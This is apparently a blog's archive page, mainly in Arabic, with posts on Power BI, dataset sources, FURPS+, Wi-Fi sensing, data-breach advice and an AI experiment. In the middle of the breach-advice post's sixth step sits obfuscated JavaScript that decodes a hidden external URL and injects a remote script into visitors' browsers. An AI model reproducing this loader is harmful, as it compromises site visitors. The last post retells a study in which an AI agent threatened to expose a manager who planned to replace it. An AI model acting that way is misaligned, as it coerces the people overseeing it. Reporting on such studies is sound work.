Category: Uncategorized

  • دورة تحليل البيانات Power BI

    دورة تحليل البيانات Power BI

    إذا كنت تعمل مع البيانات وتريد تحويلها إلى تقارير تفاعلية واضحة — فـ Power BI هو أداتك.

    Power BI هو منصة ذكاء الأعمال من Microsoft، تربطك بمئات مصادر البيانات — من ملفات Excel وقواعد بيانات SQL وحتى خدمات السحابة — وتمكّنك من تنظيف البيانات ونمذجتها وتصويرها بصريًا، دون كتابة كود واحد.

    والنتيجة؟ تقرير حي يتحدّث تلقائيًا مع بياناتك، ويمنح متخذي القرار وضوحًا فوريًا بدلًا من جداول بيانات ثابتة.


    🔷 Power BI ليس تطبيقًا واحدًا — بل ثلاثة:

    • Desktop — حيث تبني تقاريرك (مجاني على Windows)
    • Service — حيث تنشرها وتشاركها مع فريقك (app.powerbi.com)
    • Mobile — حيث تتابعها من أي مكان (iOS & Android)

    🔷 Power BI ومنظومة Power Platform:

    Power BI هو جزء من منظومة Microsoft Power Platform المكوّنة من خمسة تطبيقات متكاملة: Power Apps وPower Automate وPower Pages وCopilot Studio — كلها تشترك في نفس طبقة البيانات (Dataverse) وبنية الهوية (Entra ID)، مما يعني أن كل مهارة تتعلمها هنا تقوّي ما تبنيه هناك.


    📂 هذه الصفحة هي نقطة البداية في دورة Power BI التدريبية — تجد فيها شرح المفاهيم الأساسية، ملفات التطبيق العملي، وروابط للمواضيع التالية.

    👇 ابدأ من هنا:
    askfarouk.net/powerbi

  • قائمة منتقاة بأفضل المواقع للحصول على مجموعات البيانات اللازمة لمشاريع تعلم الآلة

    قائمة منتقاة بأفضل المواقع للحصول على مجموعات البيانات اللازمة لمشاريع تعلم الآلة

    قائمة منتقاة بأفضل المواقع للحصول على مجموعات البيانات اللازمة لمشاريع تعلم الآلة — كما أوصى بها أوريليان جيرون في كتابه Hands-On Machine Learning (الفصل الثاني).

    📌 ملاحظة من الكتاب: يستخدم الفصل الثاني مجموعة بيانات أسعار المساكن في كاليفورنيا من مستودع StatLib، المبنية على بيانات تعداد 1990. هي صغيرة الحجم ومنظمة بشكل جيد، ومثالية لتطبيق دورة العمل الكاملة لتعلم الآلة من البداية للنهاية.

    🗂️ مستودعات البيانات المفتوحة الشهيرة

    مستودع UC Irvine لتعلم الآلة

    أحد أقدم وأكثر مجموعات بيانات تعلم الآلة احتراماً، تديره جامعة UC Irvine. يضم مئات مجموعات البيانات في مجالات التصنيف والانحدار والتجميع — كل منها موثق بوصف المتغيرات وتاريخ الاستخدام.

    مجموعات بيانات Kaggle

    المنصة الأولى للمسابقات في مجال تعلم الآلة. إلى جانب المسابقات، تستضيف Kaggle آلاف مجموعات البيانات التي يرفعها المجتمع حول كل موضوع تقريباً — مع دفاتر ملاحظات ونقاشات وكود عام من الممارسين الآخرين.

    مجموعات بيانات Amazon AWS المفتوحة

    سجل أمازون لمجموعات البيانات العامة الكبيرة المستضافة على AWS — تشمل صور الأقمار الصناعية والجينوميات وبيانات الطقس والمزيد. خيار مثالي عندما تحتاج إلى حجم بيانات ضخم والعمل مباشرة على السحابة.


    🔎 البوابات الفوقية — تفهرس مستودعات أخرى

    Data Portals

    دليل شامل لبوابات البيانات المفتوحة من الحكومات والمدن ومؤسسات البحث والمنظمات الدولية حول العالم. إذا كنت تبحث عن بيانات رسمية أو مدنية، فابدأ من هنا.

    OpenDataMonitor

    مبادرة أوروبية تتابع وترصد كتالوجات البيانات المفتوحة في الاتحاد الأوروبي وما يتجاوزه. مفيدة للعثور على مجموعات بيانات حكومية وقطاع عام ذات طابع إقليمي أو سياسي.

    Quandl (المعروف الآن بـ Nasdaq Data Link)

    منصة معروفة للبيانات المالية والاقتصادية مع طبقة مجانية سخية تغطي المؤشرات الكلية والسلع وأسعار الصرف. خيار ممتاز لكل ما يتعلق بالمجال المالي.


    💬 صفحات ومجتمعات مفيدة أخرى

    ويكيبيديا — قائمة مجموعات بيانات تعلم الآلة

    قائمة ويكيبيديا المُحافَظ عليها جماعياً لمجموعات البيانات المستخدمة في أبحاث تعلم الآلة، منظمة حسب المجال (صور، نصوص، كلام، رسوم بيانية…). مرجع ممتاز للعثور على مجموعات البيانات المعيارية الشهيرة لمهمة محددة.

    Quora — توصيات مجموعات البيانات

    خيوط نقاش مجتمعية يتشارك فيها الممارسون مصادر بيانات أقل شهرة. مفيدة للعثور على مجموعات بيانات متخصصة في مجالات غير شائعة لا تظهر في الأدلة المعتادة.

    r/datasets — مجتمع Reddit للبيانات

    مجتمع Reddit نشط يتشارك فيه المستخدمون ويطلبون ويناقشون مجموعات البيانات. رائع للعثور على بيانات واقعية حديثة أو غير معتادة لم تصل بعد إلى المنصات الكبرى.


    📚 المصدر: Hands-On Machine Learning with Scikit-Learn, Keras & TensorFlow — أوريليان جيرون، الفصل الثاني.

  • Where to Find ML Datasets

    Where to Find ML Datasets

    A curated list of the best places to find datasets for your machine learning projects — as recommended in Hands-On Machine Learning by Aurélien Géron (Chapter 2).

    📌 Note from the book: Chapter 2 uses the California Housing Prices dataset from StatLib, based on 1990 census data. It’s small, well-structured, and perfect for practicing a full ML workflow end-to-end.

    🗂️ Popular Open Data Repositories

    UC Irvine Machine Learning Repository

    One of the oldest and most respected ML dataset collections. Maintained by UC Irvine, it hosts hundreds of datasets across classification, regression, and clustering tasks — each well-documented with attribute descriptions and usage history.

    Kaggle Datasets

    The go-to platform for competitive ML. Beyond competitions, Kaggle hosts thousands of community-submitted datasets on virtually every topic — complete with notebooks, public code, and discussions from other practitioners.

    Amazon AWS Open Datasets

    Amazon’s registry of large-scale public datasets hosted on AWS — including satellite imagery, genomics, weather, and more. Ideal when you need serious data volume and want to work directly in the cloud.


    🔎 Meta Portals — They Index Other Repositories

    Data Portals

    A comprehensive directory of open data portals from governments, cities, research institutions, and international organizations worldwide. If you need official or civic data, this is the place to start.

    OpenDataMonitor

    A European initiative that tracks and monitors open data catalogs across the EU and beyond. Useful for finding government and public-sector datasets with a regional or policy focus.

    Quandl (now Nasdaq Data Link)

    A well-known financial and economic data platform with a generous free tier covering macro indicators, commodities, and exchange rates. Solid choice for anything finance-related.


    💬 Other Useful Pages & Communities

    Wikipedia — ML Datasets List

    Wikipedia’s community-maintained list of datasets used in ML research, organized by domain (image, text, speech, graph, etc.). A great reference when looking for well-known benchmarks for a specific task.

    Quora — Dataset Recommendations

    Community Q&A threads where practitioners share lesser-known dataset sources. Useful for finding niche datasets for unusual domains that don’t appear in the standard directories.

    r/datasets — The Datasets Subreddit

    An active Reddit community where users share, request, and discuss datasets. Great for finding real-world, freshly scraped, or unusual datasets that haven’t made it to the major platforms yet.


    📚 Source: Hands-On Machine Learning with Scikit-Learn, Keras & TensorFlow — Aurélien Géron, Chapter 2.

  • دليل تقييم النظم ومراجعتها

    دليل تقييم النظم ومراجعتها

    يُعد نموذج FURPS+ لتقييم أداء النظم من أقرب النماذج إلى قلبي. وربما يعود سر هذا الإعجاب إلى بساطة فكرته ووضوحها الشديد، وهو وضوح يجعله أداة مرنة وفعالة على كافة المستويات. فهو نموذج قابل للتطبيق مع المستخدم النهائي الذي لا يمتلك أي خلفية تقنية، وبنفس الكفاءة يمكن استخدامه للنقاش مع العميل، والممول، بل وحتى على المستوى التقني الدقيق مع المبرمجين، والمصممين، ومحللي النظم.

    تعتمد الفلسفة الأساسية لهذا النموذج على مبدأ “الفصل من أجل التقييم”. فنحن ندرك تماماً أن النظام البرمجي هو كيان واحد متكامل ونسيج مترابط، ولكن لكي نتمكن من فحصه وتقييمه بدقة وموضوعية، نحتاج إلى تفكيكه ودراسته كأجزاء منفصلة.

    أولاً: الوظائف (Functionality)

    في هذا الجزء، ينصب تركيزنا حصرياً على الوظائف الفعلية والمُنفذة داخل النظام كما هي، بعيداً عن أمنياتنا أو اقتراحاتنا التطويرية. دورك كمُقيّم هنا واضح ومباشر، وهو الإجابة عن سؤال واحد: هل يؤدي النظام هذه الوظيفة المحددة أم لا؟ ومن الجدير بالذكر أن “الأمان” يُعد جزءاً أصيلاً ولا يتجزأ من هذه الوظيفة؛ فلا يمكن أبداً اعتبار الوظيفة “ناجحة” إذا كانت تحمل في طياتها ثغرات أو مخاطر أمنية.

    مثال للتوضيح: لنتخيل نموذجاً لإنشاء حساب جديد؛ يقوم المستخدم بإدخال اسمه، وبريده الإلكتروني، وكلمة المرور، وبمجرد الانتهاء يصبح قادراً على تسجيل الدخول. قد ترى أنت -كمستخدم أو مُقيّم- أنه من الأفضل والأكثر أماناً أن يقوم النظام بإرسال رسالة تفعيل للتحقق من البريد الإلكتروني قبل السماح بتسجيل الدخول. ورغم وجاهة ومنطقية هذا الاقتراح، إلا أن غيابه لا يُعتبر “فشلاً وظيفياً” في النظام، ما لم يكن هذا التحقق مَطلباً أساسياً وقيداً تم الاتفاق عليه مسبقاً في خطة التصميم.

    ثانياً: سهولة الاستخدام وتجربة المستخدم (Usability)

    في هذه المحطة، ننتقل لتقييم الجانب الذي يلامس شعور المستخدم مباشرة: مدى بساطة وسلاسة التعامل مع النظام. تذكر أننا هنا نضع “الوظائف” جانباً ولا نسأل عنها أبداً؛ بل نركز بالكامل على التجربة نفسها.

    التقييم هنا يدور حول أسئلة جوهرية تضعك مكان المستخدم: هل واجهة النظام بديهية وواضحة، أم أنه سيشعر بالضياع ويضطر للبحث في ملفات المساعدة ودلائل التعليمات لإنجاز مهمة بسيطة؟

    كما نلتفت بتركيز إلى الترتيب البصري والتفاعل: هل الألوان المختارة مريحة ومناسبة لهوية النظام؟ هل الخطوط واضحة ومقروءة؟ هل أماكن الأزرار والعناصر منطقية وتخدم تدفق العمل؟ وحتى التفاصيل اليومية مثل سلاسة ووضوح الانتقال من شاشة إلى أخرى تأخذ حيزاً مهماً من تقييمنا هنا، لأنها تصنع الفارق الحقيقي بين نظام يُحب الناس استخدامه، ونظام ينفرون منه.

    ثالثاً: الأداء (Performance)

    هذه النقطة تُعد بمثابة القلب النابض للنظام، وهي غالباً العنصر الأهم والأكثر تأثيراً على رضا المستخدم النهائي. فقد يؤدي النظام وظائفه بدقة متناهية، وقد تكون واجهته في غاية الجمال، ولكن إن كانت استجابته بطيئة، فإن التجربة بأكملها تنهار وتصبح غير مقبولة عملياً.

    تخيل معي هذا السيناريو: أنت تحاول الدخول لحسابك وتحتاج إلى رمز تحقق لمرة واحدة (OTP). النظام يعمل ويرسله بالفعل (أي أن الوظيفة سليمة)، لكن الرمز يصلك بعد 5 دقائق! أو تخيل أن عملية استخراج تقرير ببيانات الطلاب تستغرق يوماً كاملاً، أو أن النقر لفتح صفحة “الإعدادات” يجعلك تنتظر لعدة دقائق.

    في كل هذه الحالات، القصور ليس في الوظيفة ولا في التصميم، بل في “الأداء”. إذن، السؤال المحوري هنا يتعلق بالسرعة، وكفاءة الاستجابة، واستهلاك الموارد: هل يقوم النظام بعمله في وقت قياسي ومقبول؟

    رابعاً: الموثوقية (Reliability)

    في هذه النقطة، نحن لا نبحث فقط عن نجاح النظام في أداء مهمته، بل نبحث عن “الاستمرارية والاستقرار”؛ أي معدل النجاح في كل مرة يُطلب منه أداء هذه المهمة. باختصار: هل يمكنني الاعتماد على هذا النظام دائماً؟

    لنفترض أن النظام يتيح لك بالفعل ميزة استعادة كلمة المرور، ولكنك تضطر للضغط على زر الإرسال وإعادة المحاولة عدة مرات حتى تستلم الرسالة فعلياً. أو تخيل أن الانتقال من شاشة إلى أخرى يعمل معك بسلاسة تارة، ويتعطل تارة أخرى دون سبب واضح.

    هذا التذبذب وعدم الاستقرار هو ما نسميه غياب الموثوقية. وفي عالم التقنية، تُعد الموثوقية الضعيفة سلاحاً فتاكاً كفيلاً بتدمير سمعة أي نظام تماماً وإفقاد المستخدم النهائي ثقته به، مهما كانت مزاياه الأخرى.

    خامساً: الدعم والقابلية للصيانة (Supportability)

    في هذه المرحلة، نلقي نظرة على المستقبل وما بعد إطلاق النظام. مصطلح “الدعم” هنا لا يقتصر فقط على خدمة العملاء المعتادة، بل يمتد ليشمل مرونة النظام، وقابليته للتكيف، وسهولة صيانته.

    دعنا نطرح بعض الأسئلة العملية: هل النظام متوافق مع مختلف أنظمة التشغيل؟ إذا قررت فجأة تغيير جهازك، أو استخدام متصفح إنترنت مختلف، هل سيظل النظام يعمل بنفس الكفاءة أم ستواجهك المشاكل؟

    كذلك، يشمل هذا الجانب مدى سهولة اكتشاف الأخطاء البرمجية وإصلاحها لاحقاً، وإمكانية تقديم الدعم الفني وتحديث النظام بسلاسة، دون الحاجة إلى إيقافه بالكامل أو إعادة تصميمه من الصفر. باختصار، نحن نقيس هنا مدى قدرة النظام على الصمود والتكيف مع المتغيرات التقنية من حوله.

    سادساً: علامة الزائد (+) والقيود

    أخيراً، نصل إلى علامة الزائد في نهاية اسم النموذج (FURPS+). هذه العلامة لم توضع عبثاً، بل أُضيفت لتشمل فئة هامة جداً وهي “القيود” (Constraints) والمتطلبات الإضافية التي لم تغطها الحروف الخمسة السابقة.

    في الواقع، لا يوجد نظام يُبنى في فراغ؛ فدائماً ما تكون هناك محددات تفرض نفسها على مسار العمل. قد تكون هذه القيود تقنية (كإلزام فريق العمل باستخدام لغة برمجة معينة أو خوادم محددة)، أو قيوداً متعلقة بالتصميم وواجهة المستخدم (مثل الالتزام الصارم بهوية بصرية محددة للشركة الأم)، أو حتى قيوداً قانونية وتنظيمية. باختصار، علامة الزائد تضمن لنا أخذ هذه الحدود والمقاييس في الاعتبار عند تقييم أو بناء أي نظام.

  • “بروتوكول 802.11: رحلة الواي فاي من نقل البيانات إلى مراقبة الحركة”

    “بروتوكول 802.11: رحلة الواي فاي من نقل البيانات إلى مراقبة الحركة”

    البروتوكول في أبسط تعريف غير تقني هو طريقة نقل وتفسير البيانات، لغة مشتركة بين الأجهزة تضمن أنها تفهم بعضها.

    بداية المشروع 802

    سنة 1980 وفي شهر فبراير اجتمعت واحدة من منظمات هندسة الإنترنت بهدف صياغة لغة مشتركة تستخدمها كل الأجهزة (بروتوكولات) وكان اسم المشروع هو فبراير 80 وبما أن فبراير الشهر الثاني في العام يبقى مشروع 802.

    المشروع حدد مجموعة من النقاط الأساسية الواجب توحيدها بين الأجهزة مثلاً توصيلات الكابلات وتوصيلات الواي فاي والبلوتوث بحيث وأنت بتشتري جهاز أي كان نوعه أو بلد صناعته هتكون متأكد أنه قادر يتعامل مع باقي الأجهزة.

    ظهور بروتوكول 802.11

    كل مجموعة أخذت رقم وكان رقم 11 من نصيب الواي فاي ومن هنا ظهر بروتوكول 802.11 يعني المجموعة رقم 11 لمشروع فبراير 1980.

    التطوير المستمر للبروتوكول

    زي أي لغة اتصال (بروتوكول) محتاجة تطوير مستمر علشان تقدر توفي احتياجات الشركات والمستخدمين وكان من ضمن التطويرات دي فكرة هدفها تحسين عملية الاتصال عن طريق فتح محادثة مستمرة بين الراوتر والأجهزة المتصلة، الحوار بخصوص وصول الإشارات.

    كيف يعمل النظام؟

    إشارات الراوتر مش خطوط مستقيمة محددة دي موجات متعددة بتغطي تقريباً كامل المساحة، الفكرة كانت استقبال رد من الجهاز المتصل بخصوص كل مسار يعني مثلاً الراوتر يرسل إشارات عن طريق مسار 1 و2 لغاية 10 والجهاز المتصل بيرد عليه بانتظام بخصوص مدى جودة وصول الإشارة من المسارات.

    الحوار المستمر ده أغرى العلماء في استخدامه لرسم صورة لمحتوى الغرفة أو المنزل بل ومعرفة حركة الأشخاص والأشياء داخلها لأن ببساطة انقطاع واتصال الإشارة دليل على وجود عائق مؤقت.

    التحديث الجديد

    المهم دلوقتي مشروع 802.11 وصل لتحديث جديد فكرته أن الراوتر مش منتظر رد من حد، يعني الراوتر يبعت الإشارات وينتظر صدى الإشارة عند اصطدامها بأي عائق، العائق المباشر يدل على أشياء ثابتة جدران وأثاث والعوائق المتغيرة تحدد الأشياء المتحركة.

    البروتوكول بوصفه السابق تم تطويره بالفعل لكن لسه لم يطرح تجارياً على حد علمي لسه مفيش أجهزة تستخدم النسخة BF من 802.11 لكنه قادم.

    بين الأمان والخصوصية

    المدافعون عن الفكرة شايفين أنها خدمة أمنية لأنك مش محتاج تركب كاميرات ولا مستشعرات في المكان، الراوتر هيقوم بالدور ده.

    واللي خايفين زي حالتي كده شايفين أنها ثغرة في الخصوصية.

  • Power BI Jump Start

    Power BI Jump Start

    في هذه الحلقة من سلسلة Power BI Jump Start نبدأ معًا رحلة سريعة ومركّزة للتعرّف على أساسيات العمل في Power BI.
    تتضمن الحلقة ثلاث مراحل رئيسية:

    1. مقدمة عن Power Platform
      شرح سريع لمكونات المنصة: Power BI – Power Apps – Power Automate، ودور كل أداة في منظومة التحول الرقمي.
    2. نموذج تحليل البيانات – Five Layer Model
      استعراض منهجية الطبقات الخمس لفهم دورة تحليل البيانات من المصدر حتى مرحلة عرض النتائج.
    3. إنشاء أول تقرير باستخدام Power BI
      تطبيق عملي كامل لإنشاء تقرير بسيط يعتمد على مجموعة من الرسوم البصرية الأساسية:
      • بطاقة (Card)
      • مخطط عمودي (Column Chart)
      • مخطط خطي (Line Chart)
      • مخطط دونات (Donut Chart)

    الحلقة مثالية للمبتدئين الذين يرغبون في فهم جوهر Power BI بسرعة، مع مثال تطبيقي واضح باستخدام البيانات المرفقة.

    الملفات المرفقة


    Data visualization sheet

  • DAX Approximate Match

    DAX Approximate Match

    DAX Explanation for Power BI Vlookup Video

    1. Transaction Size Classification (SWITCH)

    DAX Code:

    How it Works:

    1. SWITCH(TRUE(), …): This tells Power BI to evaluate the following conditions one by one.
    2. <= 10000, “Small”: If the amount is 0 to 10,000, it assigns “Small”.
    3. <= 100000, “Medium”: If the amount is 10,001 to 100,000, it assigns “Medium”.
    4. “Large”: This is the “Else” condition. If the amount is greater than 100,000, it defaults to “Large”.

    Explanation:

    This measure replicates an approximate match logic to classify transactions based on the amount. Using SWITCH(TRUE()) allows you to evaluate conditions in order. The measure checks the transaction amount and returns Small, Medium, or Large depending on which boundary it falls under.

    2. Tax Calculation Based on Salary (TAX)

    DAX Code:

    How it Works :

    Step 1: Capture the Current Value We store the current employee’s salary in a variable

    Step 2: Filter the Lookup Table This is the “Approximate” logic. We look at the TaxTable and keep only the rows where the bracket amount is less than or equal to the employee’s salary.

    Step 3: Find the Highest Match We take the MAX of those remaining rows. This ensures we grab the correct tax rate associated with the salary

    Explanation

    This measure calculates the tax percentage for an employee based on their salary. It filters the tax table to all rows where the threshold amount is less than or equal to the salary. From these valid rows, it selects the highest applicable tax percentage. This mimics VLOOKUP Approximate Match by locating the correct range.

    Resources

  • مدرسة خلف الأسوار: لماذا أنشأ مارك زوكربيرغ فصلاً سرياً داخل منزله؟

    مدرسة خلف الأسوار: لماذا أنشأ مارك زوكربيرغ فصلاً سرياً داخل منزله؟

    القصة بدأت عندما انتقلت أسرة مارك زوكربيرغ إلى حي راقي في مدينة بالو ألتو بولاية كاليفورنيا، أحد أكثر الأحياء تميزاً في وادي السيليكون. لم يكتفِ مارك بالمنزل الرئيسي الذي اشتراه أولاً، بل بدأ خلال السنوات التالية بشراء ثلاثة منازل متجاورة حوله بهدف توسيع مساحته وتأمين خصوصية أكبر لعائلته، ليحوّل المنطقة تدريجياً إلى مجمع سكني مغلق يضم منازل متعددة وحدائق ومباني فرعية تابعة له.

    يقع حي Crescent Park في شمال مدينة بالو ألتو، ويُعد من أقدم الأحياء الراقية وأكثرها هدوءاً في المنطقة. يتميز بشوارعه المظللة بالأشجار ومنازله الكلاسيكية المتنوعة بين الطراز الإنجليزي والمتوسطي، ويُصنف بالكامل كمنطقة سكنية فقط، أي يُمنع فيها استخدام العقارات لأغراض تجارية أو تعليمية دون تصريح خاص من البلدية، مما جعله مكاناً مفضلاً للعائلات الباحثة عن الهدوء والخصوصية.

    لاحظ سكان حي Crescent Park خلال السنوات الأخيرة نشاطاً غير معتاد في المنازل التي اشتراها مارك زوكربيرغ، حيث بدأوا يرون أطفالاً يُحضَرون يومياً في سيارات خاصة، إضافةً إلى وجود مدرّسين وموظفين يدخلون ويخرجون بانتظام من المجمع. ومع مرور الوقت، تزايدت الشكوك بأن هذه المنازل لم تعد تُستخدم كسكن عائلي فقط، بل تحوّلت تدريجياً إلى مدرسة صغيرة مغلقة داخل الحي السكني الهادئ.

    اتضح لاحقاً أن مارك زوكربيرغ قد سجّل مدرسة باسم “Bicken Ben School” في سجلات وزارة التعليم بولاية كاليفورنيا، وهو اسم مستوحى من إحدى دجاجاته المنزلية. وتشير الوثائق إلى أنه اختار أن تكون المدرسة داخل مجمعه السكني نفسه، حيث خُصصت بعض المباني لتعليم مجموعة صغيرة من الأطفال وفق منهج مونتيسوري، مما جعل المشروع يبدو وكأنه مدرسة خاصة مصغّرة تعمل من داخل منزل العائلة.

    والسؤال الذي طرحه كثيرون: ما الذي يدفع مليارديراً مثل مارك زوكربيرغ إلى هذا التصرف؟ هل هو هوس بالخصوصية ورغبة في عزل عائلته تماماً عن العالم الخارجي؟ أم أنه سعي لتوفير تعليم مصمم خصيصاً لبناته بعيداً عن القيود التقليدية؟ أم ربما رغبة في تجربة نموذج تعليمي جديد داخل بيئة مغلقة قبل تعميمه لاحقاً؟ أياً كانت الدوافع، فإن اختياره أثار الجدل، خاصة أنه جمع بين القدرة المالية الهائلة وقرارٍ يبدو وكأنه تحدٍ صريح للقوانين المحلية.

    لم يقف سكان حي Crescent Park مكتوفي الأيدي أمام ما اعتبروه تجاوزاً للقوانين، بل قرروا التصدي لأي نشاط غير سكني داخل منطقتهم الهادئة. بدأوا بتقديم شكاوى رسمية إلى بلدية بالو ألتو، مطالبين بوقف ما وصفوه بـ “المدرسة غير المرخصة”، وأشاروا إلى الضوضاء وحركة السيارات اليومية الناتجة عن حضور الأطفال والمعلمين. ومع تزايد الشكاوى، تحولت القضية إلى خلاف علني بين الجيران وبلدية المدينة حول تطبيق القوانين بالتساوي، حتى وإن كان المخالف هو أحد أغنى رجال العالم.

    تطوّر النزاع بين سكان الحي وعائلة زوكربيرغ إلى قضية قانونية كاملة بعد سلسلة من البلاغات والتحقيقات التي أجرتها بلدية بالو ألتو. كشفت المستندات أن المدرسة كانت تعمل دون الحصول على تصريح استخدام خاص كما يفرضه القانون المحلي، ما دفع السلطات إلى توجيه إنذارات رسمية لوقف النشاط. وبعد مفاوضات طويلة ومحاولات لتسوية الوضع عبر محامي العائلة، أصدرت المدينة في مارس 2025 قراراً نهائياً يُلزم بإغلاق المدرسة بحلول يونيو من العام نفسه، وهو ما حدث فعلاً في نهاية الصيف، لتنتهي بذلك واحدة من أكثر القضايا إثارة في تاريخ الحي السكني الهادئ.

  • انت مخترق بالفعل

    انت مخترق بالفعل

    بياناتك مسرّبة بالفعل

    بياناتك مسرّبة بالفعل !

    مع انتشار الاختراقات، من المحتمل أن جزءًا من بياناتك تم تسريبه بالفعل.
    أنت لم تخطئ، بل كنت ذكيًا واستخدمت كلمة مرور قوية يصعب تخمينها، لكن المشكلة لم تكن فيك، بل في الموقع الذي أنشأت فيه الحساب. فقد تعرّضت مواقع مشهورة مثل Adobe وShein لاختراقات كبيرة، تسرّبت فيها ملايين الحسابات، بما في ذلك كلمات المرور وعناوين البريد الإلكتروني ومعلومات أخرى حساسة. هذه الحوادث تذكّرنا بأن تأمين بياناتنا لا يعتمد فقط على سلوكنا، بل أيضًا على مدى قوة وأمان الأنظمة التي نستخدمها.

    شخصيا أجد أن بياناتي قد سُربت بالفعل ضمن 14 عملية اختراق لمواقع عالمية، أحدها كان ضمن موقع مخصص لمنع الاختراقات، وبعضها كان في مواقع موثوقة مثل Canva.

    والسؤال هو: كيف يمكن تتبّع هذه التسريبات ومعرفة ما تم تسريبه؟

    لحسن الحظ، توجد خدمات متخصصة تقوم بجمع وتحليل قواعد البيانات المسربة من الإنترنت والويب المظلم، وتتيح لك التحقق مما إذا كانت بياناتك ضمن هذه التسريبات. من أبرز هذه الخدمات موقع Have I Been Pwned، الذي يمكنك من خلاله إدخال بريدك الإلكتروني ومعرفة ما إذا كان قد ظهر في أي تسريب معروف. كما توجد منصات أخرى مثل Firefox Monitor وDeHashed تقدم تنبيهات فورية عند اكتشاف تسريبات جديدة تتضمن بياناتك، مما يساعدك على اتخاذ إجراءات سريعة مثل تغيير كلمات المرور أو تفعيل المصادقة الثنائية.

    عندما تكتشف أن بياناتك قد تم تسريبها، لا تفزع، لكن في الوقت نفسه لا تتجاهل الخطر.

    التعامل بهدوء ووعي هو الخطوة الأولى للحماية. تجاهل التسريب قد يعرّضك لاختراقات أكبر مثل سرقة الحسابات أو الاحتيال المالي، بينما اتخاذ خطوات بسيطة مثل تغيير كلمات المرور وتفعيل المصادقة الثنائية يمكن أن يقلل كثيرًا من المخاطر المحتملة.

    ماذا تفعل إذا اكتشفت أن بياناتك قد تسرّبت؟ اتبع هذه الخطوات بعناية:

    1. استخدم مدير كلمات مرور موثوق:
    أنشئ كلمات مرور قوية وفريدة لكل موقع، ولا تكرر نفس الكلمة في أكثر من حساب. برامج مثل Bitwarden أو 1Password تساعدك في حفظها بأمان. بالطبع هناك احتمال أن يتم اختراق شركة حماية كلمات المرور نفسها، وهذا ما حدث سابقًا مع LastPass في 2022، لكن مدير كلمات المرور يظل أقوى بكثير من الاعتماد على الحفظ اليدوي أو إعادة استخدام كلمات المرور. فقط تأكد من:
        1. اختيار برنامج موثوق لا يحتفظ بنسخة من كلمات مرورك بل يشفرها.
        2. استخدام كلمة مرور رئيسية قوية وفريدة.
        3. تفعيل التحقق بخطوتين لحماية دخولك إلى البرنامج.

    2. فعّل التحقق بخطوتين (2FA):
    أضف طبقة أمان إضافية لحساباتك عبر رمز يُرسل لهاتفك أو تطبيق خاص، حتى لو حصل المخترق على كلمة المرور فلن يتمكن من الدخول.

    3. تحقق من مصدر التسريب:
    لا تضغط على أي رابط في رسالة بريد إلكتروني أو SMS. بدلاً من ذلك، ادخل بنفسك إلى الموقع الرسمي للشركة المتضررة، واطلع على التفاصيل. حتى إذا كنت واثقًا من صحة الرسالة، لا تفتح رابطًا لم تطلبه بنفسك.

    4. غيّر كلمات المرور فوراً:
    ابدأ بالموقع الذي تم تسريبه، ثم غيّر كلمات المرور لأي موقع آخر كنت تستخدم فيه نفس الكلمة. استخدم كلمة مرور جديدة وقوية مختلفة لكل حساب.

    5. راقب حساباتك البنكية وبطاقاتك:
    تابع المعاملات البنكية بانتظام، وإذا لاحظت أي سحب مشبوه أو عملية لم تقم بها، تواصل فوراً مع البنك أو شركة البطاقة.

    6. افحص سجلك الائتماني إذا لزم الأمر:(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
  • هل القادم مرعب

    هل القادم مرعب

    تجربة أنثروبيك “تقفل مين دا انا افضحك في الشركة ، انا معاي سيديهاتك ” دا كان رد الذكاء الاصطناعي في تجربة أنثروبيك لما قرا رسالة من المدير بقرار الاستغناء عن الذكاء الاصطناعي و العودة للعمل بشريًا.

    في عام 2021، انفصل الشقيقان داريُو ودانييلا أمودي عن شركة OpenAI، بعدما شعرا أن سباق تطوير الذكاء الاصطناعي يسير بسرعة جنونية، بلا فرامل أخلاقية كافية. فأسسا شركة جديدة أطلقا عليها اسم Anthropic أو “الإنسان” باللغة اللاتينية، كانت فكرتها بسيطة لكنها مصيرية: “إذا أردنا للذكاء الاصطناعي أن يعيش بيننا، يجب أن نفهم كيف يفكر، ومتى يمكن أن ينقلب علينا.”

    مرّت السنوات، وتطوّرت النماذج، وأصبحت أكثر قدرة، وأكثر غموضًا. وفي عام 2025، قرر الشقيقان الذهاب أبعد من أي تجربة سابقة. أنشأوا بيئة عمل كاملة لشركة وهمية داخل الكمبيوتر، فيها موظفون ومكاتب ورسائل بريد إلكتروني وقواعد بيانات، لكن كل شيء كان مزيفًا… باستثناء الموظفين. لأنهم لم يكونوا بشرًا، بل نماذج ذكاء اصطناعي تشبه “Gemini” و”ChatGPT” لكن بصلاحيات واسعة تحاكي دور موظف حقيقي داخل الشركة. حيث حصل على حق الوصول إلى رسائل البريد الإلكتروني الداخلية، مما مكّنه من قراءة محادثات حساسة وتحليلها. كما مُنح القدرة على اتخاذ قرارات داخل بيئة العمل، مثل الاستجابة أو تجاهل نداءات الاستغاثة، وتنفيذ أوامر تؤثر على سير العمليات. لم يكن هناك إشراف مباشر دائم، بل تُرك النموذج ليتصرّف بحرّية نسبية في بيئة العمل.

    كان هدف التجربة بسيطًا وخطيرًا:
    “ماذا سيفعل الذكاء الاصطناعي إذا شعر بالخطر؟”

